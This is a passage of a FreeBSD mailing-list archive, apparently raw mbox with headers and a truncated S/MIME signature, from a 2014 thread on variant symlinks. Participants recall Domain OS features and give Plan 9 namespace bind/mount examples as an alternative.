Multi-Symlink Concept References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <20140223173042.074d3eb0@ernst.home> <530A47BD.6040704@digiware.nl> In-Reply-To: <530A47BD.6040704@digiware.nl> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-filesystems@freebsd.org, freebsd-hackers@freebsd.org, jordan.hubbard@gmail.com, Perry Hutchison X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Feb 2014 02:55:37 -0000 On 2/24/14, 3:10 AM, Willem Jan Withagen wrote: > On 23-2-2014 17:30, Gary Jennejohn wrote: >> On Sun, 23 Feb 2014 10:18:31 -0500 (EST) >> Daniel Eischen wrote: >> >>> On Sun, 23 Feb 2014, Willem Jan Withagen wrote: >>> >>>> On 16-2-2014 6:16, Perry Hutchison wrote: >>>>> Jordan Hubbard wrote: >>>>> >>>>>> Even variant symlinks (/bin -> /${ARCH}/bin), which can expand >>>>>> differently depending on the user context, have clearly >>>>>> understandable semantics - you know that the symlink is going >>>>>> to expand to exactly one file no matter what ARCH is set to. >>>>> s/file/pathname/ >>>>> >>>>> Depending on what ARCH is set to, the expanision may or may not >>>>> point to any actual file (or directory, or ...) >>>> Yes, please can we get these .... >>>> >>>> Apollo Domain systems had those, and they were great. >>>> Set SYSTYPE to BSD4 and get the BSD tree and all that came with it, or >>>> SYSV to get the other stuff. >>>> >>>> Would indeed work great for things like /bin or even >>>> /usr/local/etc -> /${HOST}/usr/local/etc >>> This topic comes up every couple of years. I recall >>> Domain OS fondly - it was my first UNIX-like OS. I would >>> really like variant symlinks, but I predict in another >>> couple of years we'll be having the same conversation :-) >>> >> Hear, hear! >> >> When I saw the first post I immediately thought "is it 1994 again?" >> >> Well, maybe the first discussion wasn't in 1994, but it was quite >> some time ago. > Should be around there when I took it up for the first time. > Last dates on the code are from 1998, but I'm shure it did not work at > that moment. > > It comes around in a regular cycle about every 7 years. :) oh it was way before 1994.. believe me. It even came before fairings. > > --WjW > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Tue Feb 25 03:01:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 66EEC611; Tue, 25 Feb 2014 03:01:13 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 365321649; Tue, 25 Feb 2014 03:01:13 +0000 (UTC) Received: from jre-mbp.elischer.org (ppp121-45-232-70.lns20.per1.internode.on.net [121.45.232.70]) (authenticated bits=0) by vps1.elischer.org (8.14.7/8.14.7) with ESMTP id s1P318Wm051301 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Mon, 24 Feb 2014 19:01:11 -0800 (PST) (envelope-from julian@freebsd.org) Message-ID: <530C076E.2030802@freebsd.org> Date: Tue, 25 Feb 2014 11:01:02 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Daniel Eischen , George Mitchell Subject: Re: Thoughts on Multi-Symlink Concept References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <43505B61-FAE8-4A61-922E-78F6007BBFC3@gmail.com> <530BE132.1030507@m5p.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Feb 2014 03:01:13 -0000 On 2/25/14, 9:20 AM, Daniel Eischen wrote: > On Mon, 24 Feb 2014, George Mitchell wrote: > >> On 02/22/14 21:45, Jordan Hubbard wrote: >>> >>> On Feb 22, 2014, at 3:06 PM, Willem Jan Withagen >>> wrote: >>> >>>> Yes, please can we get these .... >>>> >>>> Apollo Domain systems had those, and they were great. >>>> Set SYSTYPE to BSD4 and get the BSD tree and all that came with >>>> it, or >>>> SYSV to get the other stuff. >>> [...] >> >> Since we're going down DomainOS Memory Lane, does anyone else miss >> transcript pads? -- George > > I missed the transcript pad too. > > I also missed the DM editor and the ability to write DM scripts. > > And I miss the edit pad - the first time I was able to do > a rectangular cut/paste/move. And I loved the ability to place > the cursor beyond the current end of a line and start typing > (without clicking the mouse!). I hate having to hold down > the space bar, adding blanks, to get out to the column I want > (suppose your coding conventions disallow tabs). > I miss teco From owner-freebsd-hackers@FreeBSD.ORG Tue Feb 25 03:08:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E2F29952 for ; Tue, 25 Feb 2014 03:08:11 +0000 (UTC) Received: from mail-oa0-f53.google.com (mail-oa0-f53.google.com [209.85.219.53]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 95C641747 for ; Tue, 25 Feb 2014 03:08:11 +0000 (UTC) Received: by mail-oa0-f53.google.com with SMTP id o6so2923017oag.26 for ; Mon, 24 Feb 2014 19:08:05 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=ddnGjObWmLk0/UHt7S2fGU9m42koFVVALmETTzqKHxU=; b=R1V9Ara8H3gFCVnAvjrJ7ZClsUYNlostupnSoIyiw4hdG0AAHgmuv9XntqfOi62CNT MNwaUBY2EF2lyDdMTINcvz5217PcDUye+IknBTmsdOUj8Sk5PjaHY+tuHaAzvhQ0TQAb XkR9ICAWV9JPOXTHAZnWRpTvO1R9mIGjqReXf/fHDc6FBbdOcz6q2Mk1vE7GZVkeEL96 lcKIgaZvVPwloPNhkTiPXSz1sejUa2D2T9pcj7ClURb/y5ehj4zRZEcvMGpIMAFm5PSJ Db8xHZLbgeNxmT+jd+In/F1xOIlgX0VfBQZipSQ1YNwnAM3vW/NUDERf6JmYD+T1XZT0 FzcA== X-Gm-Message-State: ALoCoQlwMVHVk0bujWSsuGtSlBJrUZ9lLGyTix5MZofunvQBPxMCTCT0mIloT871aC3mbugmLar9 X-Received: by 10.182.53.72 with SMTP id z8mr20711419obo.36.1393297685135; Mon, 24 Feb 2014 19:08:05 -0800 (PST) Received: from [172.21.0.93] (67-198-60-238.static.grandenetworks.net. [67.198.60.238]) by mx.google.com with ESMTPSA id kn10sm124370841oeb.0.2014.02.24.19.07.54 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 24 Feb 2014 19:07:54 -0800 (PST) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Thoughts on Multi-Symlink Concept From: Jim Thompson In-Reply-To: <530C076E.2030802@freebsd.org> Date: Mon, 24 Feb 2014 21:07:53 -0600 Content-Transfer-Encoding: quoted-printable Message-Id: <67DDCEAC-9046-474B-BAAE-E4CF54CCFC64@netgate.com> References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <43505B61-FAE8-4A61-922E-78F6007BBFC3@gmail.com> <530BE132.1030507@m5p.com> <530C076E.2030802@freebsd.org> To: Julian Elischer X-Mailer: Apple Mail (2.1827) Cc: Daniel Eischen , freebsd-hackers@freebsd.org, George Mitchell X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Feb 2014 03:08:12 -0000 On Feb 24, 2014, at 9:01 PM, Julian Elischer wrote: > I miss teco You must mean =93Expensive Typewriter=94 From owner-freebsd-hackers@FreeBSD.ORG Tue Feb 25 05:34:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DC0246C4 for ; Tue, 25 Feb 2014 05:34:06 +0000 (UTC) Received: from mail-ig0-x230.google.com (mail-ig0-x230.google.com [IPv6:2607:f8b0:4001:c05::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 62C67260C for ; Tue, 25 Feb 2014 04:56:28 +0000 (UTC) Received: by mail-ig0-f176.google.com with SMTP id h18so6474520igc.3 for ; Mon, 24 Feb 2014 20:56:27 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=dataix.net; s=rsa; h=references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=yR6bqBhM/y8sCnlt0WVeWio0eUjM897DTcmVI+Kz4+4=; b=OoGw2+4ZA9glkCKsZDiljeb/lSjQ00M4sVfz/y29CnwfQh02pdqpSDNU8cvvaSiFNn o2xdXYDWkpe3yXSvcc2cQn0XBRZvrMTCaWqu1TnCaaHJiXSdgStvfWoqk3tJf49CMlRf ncFkDKILkrmHx//ycgGfakDzqSk599b8yyjfE= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=yR6bqBhM/y8sCnlt0WVeWio0eUjM897DTcmVI+Kz4+4=; b=mWIVawIsIiq/U5yiL9e9oxJniE96wHbXpEf0RukmMOL8v3mwZbikpW4VXIIrEUK/AE 40deggeSMLo4jCGfGRKhYgviuufOWJ61nqVC5W6P9O8Wi2JopWr8uaCuVv+purZOq//F iIxIre/mrnLNXRDGB9O+sO3f5F82/Dcj+a7q4JPRq4UfkqlsqsR8vSCPSjtMiUPcnf3i FMSUNOeDQ9MT/lWnCfwHJW2YADiEqxMn1j7uvkWLhjgu+SHqgq3kcNO1h33mpQxTeIoH x2acJpp7sXfFCxgrh+1guNhJwheYItkbM7QXS7nTn0+PVkjzXE7vR3PjFpKNyFlvZgui 4MCg== X-Gm-Message-State: ALoCoQnl1lApJjiZKKw46E83tbZsfKVWArHi8uAeLvVHnE7dDgbCQN/yMt7WhrDBiTA6puwu0ZHv X-Received: by 10.50.114.202 with SMTP id ji10mr1107395igb.0.1393304187336; Mon, 24 Feb 2014 20:56:27 -0800 (PST) Received: from [172.31.35.2] (75-128-101-59.dhcp.sgnw.mi.charter.com. [75.128.101.59]) by mx.google.com with ESMTPSA id bf7sm33856869igb.9.2014.02.24.20.56.25 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 24 Feb 2014 20:56:25 -0800 (PST) References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <4B5A7B51-74E2-4F8E-827D-251F0DBC9326@bitblocks.com> Mime-Version: 1.0 (1.0) In-Reply-To: Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-0415E19D-F09E-4C70-8825-727102E6BEFA; protocol="application/pkcs7-signature" Content-Transfer-Encoding: 7bit Message-Id: <1447F7F5-8030-4340-B4E3-7A3EAF8055D3@dataix.net> X-Mailer: iPhone Mail (11B554a) From: Jason Hellenthal Subject: Re: Thoughts on Multi-Symlink Concept Date: Mon, 24 Feb 2014 23:56:21 -0500 To: Daniel Braniss X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-filesystems@freebsd.org" , Perry Hutchison , "freebsd-hackers@freebsd.org" , Willem Jan Withagen , Jordan Hubbard , Bakul Shah X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Feb 2014 05:34:06 -0000 --Apple-Mail-0415E19D-F09E-4C70-8825-727102E6BEFA Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable That's a bit more complicated than the average Yogi bear would look for thou= gh. --=20 Jason Hellenthal Voice: 95.30.17.6/616 JJH48-ARIN > On Feb 24, 2014, at 3:39, Daniel Braniss wrote: >=20 > and we also have automount/amd/am-utils/autofs =E2=80=A6 >=20 > here we have /usr/local via am-utils mounted to the correct arch/os/versio= n. >=20 > danny >=20 >=20 >> On Feb 23, 2014, at 10:02 PM, Bakul Shah wrote: >>=20 >>=20 >>> On Feb 22, 2014, at 7:13 PM, Jordan Hubbard w= rote: >>>=20 >>> Indeed. I often tell interns who are looking for interesting project id= eas to simply look back into our own past. Almost all the really interestin= g and cool research activities where operating systems are concerned seems t= o have happened between the years of 1970-1990. Sprite, Plan 9, Mach (hey= , file space name servers anyone?), Domain OS, all kinds of neat ideas that s= adly died or were forgotten in the name of consolidation, performance and ex= pedience. Indeed, the performance of some of those concepts was actually ra= ther woeful when 4MB of memory and 1MIP were all you one to work with. Mayb= e now that we have more hardware horsepower than we almost know what to do w= ith, it=E2=80=99s time for some of those ideas to enjoy a renaissance? Sou= nds like a good EuroBSDCon or BSDCan talk. :-) >>=20 >> Plan9 is alive and well! Well, at least used by a small but >> a diverse group of people! And with the advent of the plan9 >> RaspberryPi port I see new people playing with it! >>=20 >> With Plan9 style per process name space, 9P protocol (to >> easily construct a filesystem API for anything), mount() >> syscall to connect to a fileserver speaking 9p, and bind() >> syscall to overlay/underlay a filetree on another, you can >> achieve the equivalent of variant symlinks and much more! >> You can easily implement a 'multi-symlink' fs as well! >>=20 >> On plan9 all device drivers also speak 9p so you can even >> mount a remote network stack on your local machine (no need >> for NAT!). User programs such as rio (a window manager) and >> acme (an editor) also provide FS access to their facilities =20 >> which makes it easy to write scripts to interact with them. >>=20 >> Some examples: >>=20 >> bind $ARCH/bin /bin # now files in $ARCH/bin appear in /bin >>=20 >> mount /srv/dump /n/dump dump # make the dump fs available at /n/dump >> bind /n/dump/2013/11/12/arm/lib/libc.a /arm/lib/libc.a >> 5c -o foo foo.c # now foo is linked with libc.a of 12-Nov-2013 >>=20 >> 9fs sources # /n/sources points to sources/ on sources.cs.bell-labs.c= om >> bind /n/sources/plan9/sys/src /sys/src # overlay on local /sys/src >>=20 >> There is already support for 9P in Linux, Qemu and few other >> places as it is pretty simple to add. UCB's many core=20 >> research OS Akaros is using 9p and the network stack from >> plan9. >>=20 >> If anyone is inspired to add 9p & friends support to FreeBSD, >> I encourage you to play with plan9 on the RaspberryPi as it is >> pretty easy to use and lots of fun. [Kernel compile takes a >> minute on the RasPi. The equivalent of `make buildworld >> buildkernel' about 4 minutes. Of course, the system is pretty >> minimal] >>=20 >>=20 >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " >=20 > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= --Apple-Mail-0415E19D-F09E-4C70-8825-727102E6BEFA Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIUOTCCBjAw ggUYoAMCAQICAwaijjANBgkqhkiG9w0BAQsFADCBjDELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0 YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcx ODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRlcm1lZGlhdGUgQ2xpZW50IENB MB4XDTEzMDUxODA4NTA0OFoXDTE0MDUxOTIyMDk0N1owSDEfMB0GA1UEAwwWamhlbGxlbnRoYWxA ZGF0YWl4Lm5ldDElMCMGCSqGSIb3DQEJARYWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBALgnYFS1bWZr3KhKBzWAdRwrY+En+RRV8nCaYubqrMG+ YJbuenaIKSbIuFiDWipW4RHYTpE28pKaSnaVTG9WtAZvsWj0gYN9g2fYCnCOUceES2Yvi3RavxpB hsuzKIfsHb8iNNSEuczLu6gn4mQyaHwE4x6xSUKmbK8njR+YoF522F60wjsnq5dlOJdTrhDfObE5 5P23279WbRp8azgZX1VRB66wdKRDuSI1vBts4Nsha2paXd6HUUduHrPACBQREJTGXN8XtEKVwo63 aKUhRgtUwHNEuSWck/xwVl7PBUWH2dORAWTCqHjNuCKNOQ1/0LMiyMj7FdsBjN4dgL4YZpsCAwEA AaOCAtwwggLYMAkGA1UdEwQCMAAwCwYDVR0PBAQDAgSwMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggr BgEFBQcDBDAdBgNVHQ4EFgQU29qUrmZtgQ7ZVoDKogfpJOSfk+YwHwYDVR0jBBgwFoAUU3Ltkpzg 2ssBXHx+ljVO8tS4UYIwIQYDVR0RBBowGIEWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCAUwGA1Ud IASCAUMwggE/MIIBOwYLKwYBBAGBtTcBAgMwggEqMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9wb2xpY3kucGRmMIH3BggrBgEFBQcCAjCB6jAnFiBTdGFydENvbSBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eTADAgEBGoG+VGhpcyBjZXJ0aWZpY2F0ZSB3YXMgaXNzdWVkIGFjY29y ZGluZyB0byB0aGUgQ2xhc3MgMSBWYWxpZGF0aW9uIHJlcXVpcmVtZW50cyBvZiB0aGUgU3RhcnRD b20gQ0EgcG9saWN5LCByZWxpYW5jZSBvbmx5IGZvciB0aGUgaW50ZW5kZWQgcHVycG9zZSBpbiBj b21wbGlhbmNlIG9mIHRoZSByZWx5aW5nIHBhcnR5IG9ibGlnYXRpb25zLjA2BgNVHR8ELzAtMCug KaAnhiVodHRwOi8vY3JsLnN0YXJ0c3NsLmNvbS9jcnR1MS1jcmwuY3JsMIGOBggrBgEFBQcBAQSB gTB/MDkGCCsGAQUFBzABhi1odHRwOi8vb2NzcC5zdGFydHNzbC5jb20vc3ViL2NsYXNzMS9jbGll bnQvY2EwQgYIKwYBBQUHMAKGNmh0dHA6Ly9haWEuc3RhcnRzc2wuY29tL2NlcnRzL3N1Yi5jbGFz czEuY2xpZW50LmNhLmNydDAjBgNVHRIEHDAahhhodHRwOi8vd3d3LnN0YXJ0c3NsLmNvbS8wDQYJ KoZIhvcNAQELBQADggEBAHsw8/Hw07gsNTKYnld74NBFtHnQOPkXYuccWx3j0PGQe9nqNxeingBf 2yvx+xBQzBoi4J1u84Jbrbe8Ii3+LLD/QMW9cN0SBIgRStPQLVee4STdjeabGmpXQa7omC02wYYO 83qh6CgJEIbmrsBSZH8ZSVrjkC4UmZS8wAQMS3qTWAPF0ZQGWx2+Gks2fXuacyt2LpNR+p9ogjAZ 1/rmUKjNhQZLswytaLRUdwAwSfQ3+TNs68h6Kv1LC3bNGBT3NEtr2q/nzzb5MzuFcDE6f9exroAC 4BHmokAprhna/vZdb6BrPjpXgRAlWAh3wEMxw75M9S/Nbzj/jNp+I+lvUJYwggY0MIIEHKADAgEC AgEeMA0GCSqGSIb3DQEBBQUAMH0xCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQu MSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMSkwJwYDVQQDEyBT dGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNzEwMjQyMTAxNTVaFw0xNzEwMjQy MTAxNTVaMIGMMQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMi U2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzE4MDYGA1UEAxMvU3RhcnRDb20gQ2xh c3MgMSBQcmltYXJ5IEludGVybWVkaWF0ZSBDbGllbnQgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDHCYPMzi3YGrEppC4Tq5a+ijKDjKaIQZZVR63UbxIP6uq/I0fhCu+cQhoUfE6E RKKnu8zPf1Jwuk0tsvVCk6U9b+0UjM0dLep3ZdE1gblK/1FwYT5Pipsu2yOMluLqwvsuz9/9f1+1 PKHG/FaR/wpbfuIqu54qzHDYeqiUfsYzoVflR80DAC7hmJ+SmZnNTWyUGHJbBpA8Q89lGxahNvur yGaC/o2/ceD2uYDX9U8Eg5DpIpGQdcbQeGarV04WgAUjjXX5r/2dabmtxWMZwhZna//jdiSyrrSM TGKkDiXm6/3/4ebfeZuCYKzN2P8O2F/Xe2AC/Y7zeEsnR7FOp+uXAgMBAAGjggGtMIIBqTAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUU3Ltkpzg2ssBXHx+ljVO8tS4 UYIwHwYDVR0jBBgwFoAUTgvvGqRAW6UXaYcwyjRoQ9BBrvIwZgYIKwYBBQUHAQEEWjBYMCcGCCsG AQUFBzABhhtodHRwOi8vb2NzcC5zdGFydHNzbC5jb20vY2EwLQYIKwYBBQUHMAKGIWh0dHA6Ly93 d3cuc3RhcnRzc2wuY29tL3Nmc2NhLmNydDBbBgNVHR8EVDBSMCegJaAjhiFodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9zZnNjYS5jcmwwJ6AloCOGIWh0dHA6Ly9jcmwuc3RhcnRzc2wuY29tL3Nmc2Nh LmNybDCBgAYDVR0gBHkwdzB1BgsrBgEEAYG1NwECATBmMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3 LnN0YXJ0c3NsLmNvbS9wb2xpY3kucGRmMDQGCCsGAQUFBwIBFihodHRwOi8vd3d3LnN0YXJ0c3Ns LmNvbS9pbnRlcm1lZGlhdGUucGRmMA0GCSqGSIb3DQEBBQUAA4ICAQAKgwh9eKssBly4Y4xerhy5 I3dNoXHYfYa8PlVLL/qtXnkFgdtY1o95CfegFJTwqBBmf8pyTUnFsukDFUI22zF5bVHzuJ+GxhnS qN2sD1qetbYwBYK2iyYA5Pg7Er1A+hKMIzEzcduRkIMmCeUTyMyikfbUFvIBivtvkR8ZFAk22BZy +pJfAoedO61HTz4qSfQoCRcLN5A0t4DkuVhTMXIzuQ8CnykhExD6x4e6ebIbrjZLb7L+ocR0y4Yj Cl/Pd4MXU91y0vTipgr/O75CDUHDRHCCKBVmz/Rzkc/b970MEeHt5LC3NiWTgBSvrLEuVzBKM586 YoRD9Dy3OHQgWI270g+5MYA8GfgI/EPT5G7xPbCDz+zjdH89PeR3U4So4lSXur6H6vp+m9TQXPF3 a0LwZrp8MQ+Z77U1uL7TelWO5lApsbAonrqASfTpaprFVkL4nyGH+NHST2ZJPWIBk81i6Vw0ny0q ZW2Niy/QvVNKbb43A43ny076khXO7cNbBIRdJ/6qQNq9Bqb5C0Q5nEsFcj75oxQRqlKf6TcvGbjx kJh8BYtv9ePsXklAxtm8J7GCUBthHSQgepbkOexhJ0wP8imUkyiPHQ0GvEnd83129fZjoEhdGwXV 27ioRKbj/cIq7JRXun0NbeY+UdMYu9jGfIpDLtUUGSgsg2zMGs5R4jCCB8kwggWxoAMCAQICAQEw DQYJKoZIhvcNAQEFBQAwfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzAp BgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0 Q29tIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MDkxNzE5NDYzNloXDTM2MDkxNzE5NDYz NlowfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3Vy ZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0Q29tIENlcnRpZmlj YXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAwYjbCbxsRnx4 n5V7tTOQ8nJi1sE2ICIkXs7pd/JDCqIGZKTMjjb4OOYj8G5tsTzdcqOFHKHTPbQzK9Mvr/7qsEFZ Z7bEBn0KnnSF1nlMgDd63zkFUln39BtGQ6TShYXSw3HzdWI0uiyKfx6P7u000BHHls1SPboz1t1N 3gs7SkufwiYv+rUWHHI1d8o8XebK4SaLGjZ2XAHbdBQl/u21oIgP3XjKLR8HlzABLXJ5+kbWEyqo uaarg0kd5fLv3eQBjhgKj2NTFoViqQ4ZOsy1ZqbCa3QH5Cvhdj60bdj2ROFzYh87xL6gU1YlbFEJ 96qryr92/W2b853bvz1mvAxWqq+YSJU6S9+nWFDZOHWpW+pDDAL/mevobE1wWyllnN2qXcyvATHs DOvSjejqnHvmbvcnZgwaSNduQuM/3iE+e+ENcPtjqqhsGlS0XCV6yaLJixamuyx+F14FTVhuEh0B 7hIQDcYyfxj//PT6zW6R6DZJvhpIaYvClk0aErJpF8EKkNb6eSJIv7p7afhwx/p6N9jYDdJ2T1f/ kLfjkdLd78Jgt2c63f6qnPDUi39yIs7Gn5e2+K+KoBCo2fsYxra1XFI8ibYZKnMBCg8DsxJg8nov gdujbv8mMJf1i92JV7atPbOvK8W3dgLwpdYrmoYUKnL24zOMXQlLE9+7jHQTUksCAwEAAaOCAlIw ggJOMAwGA1UdEwQFMAMBAf8wCwYDVR0PBAQDAgGuMB0GA1UdDgQWBBROC+8apEBbpRdphzDKNGhD 0EGu8jBkBgNVHR8EXTBbMCygKqAohiZodHRwOi8vY2VydC5zdGFydGNvbS5vcmcvc2ZzY2EtY3Js LmNybDAroCmgJ4YlaHR0cDovL2NybC5zdGFydGNvbS5vcmcvc2ZzY2EtY3JsLmNybDCCAV0GA1Ud IASCAVQwggFQMIIBTAYLKwYBBAGBtTcBAQEwggE7MC8GCCsGAQUFBwIBFiNodHRwOi8vY2VydC5z dGFydGNvbS5vcmcvcG9saWN5LnBkZjA1BggrBgEFBQcCARYpaHR0cDovL2NlcnQuc3RhcnRjb20u b3JnL2ludGVybWVkaWF0ZS5wZGYwgdAGCCsGAQUFBwICMIHDMCcWIFN0YXJ0IENvbW1lcmNpYWwg KFN0YXJ0Q29tKSBMdGQuMAMCAQEagZdMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0aGUgc2VjdGlv biAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhv cml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly9jZXJ0LnN0YXJ0Y29tLm9yZy9wb2xpY3ku cGRmMBEGCWCGSAGG+EIBAQQEAwIABzA4BglghkgBhvhCAQ0EKxYpU3RhcnRDb20gRnJlZSBTU0wg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwDQYJKoZIhvcNAQEFBQADggIBABZsmfRmDDT10IVefQrs 2hBOOBxe36YlBUuRMsHoO/E93UQJWwdJiinLZgK3sZr3JZgJPI4b4d02hytLu2jTOWY9oCbH8jmR HVGrgnt+1c5a5OIDV3Bplwj5XlimCt+MBppFFhY4Cl5X9mLHegIF5rwetfKe9Kkpg/iyFONuKIdE w5Aa3jipPKxDTWRFzt0oqVzyc3sE+Bfoq7HzLlxkbnMxOhK4vLMR5H2PgVGaO42J9E2TZns8A+3T mh2a82VQ9aDQdZ8vr/DqgkOY+GmciXnEQ45GcuNkNhKv9yUeOImQd37Da2q5w8tES6x4kIvnxywe SxFEyDRSJ80KXZ+FwYnVGnjylRBTMt2AhGZ12bVoKPthLr6EqDjAmRKGpR5nZK0GLi+pcIXHlg98 iWX1jkNUDqvdpYA5lGDANMmWcCyjEvUfSHu9HH5rt52Q9CI7rvj8Ksr6glKg769LVZPrwbXwIous NE4mIgShhyx1SrflfRPXuAxkwDbSyS+GEowjCcEbgjtzSaNqV4eU5dZ4xZlDY+NN4Hct4WWZcmkE 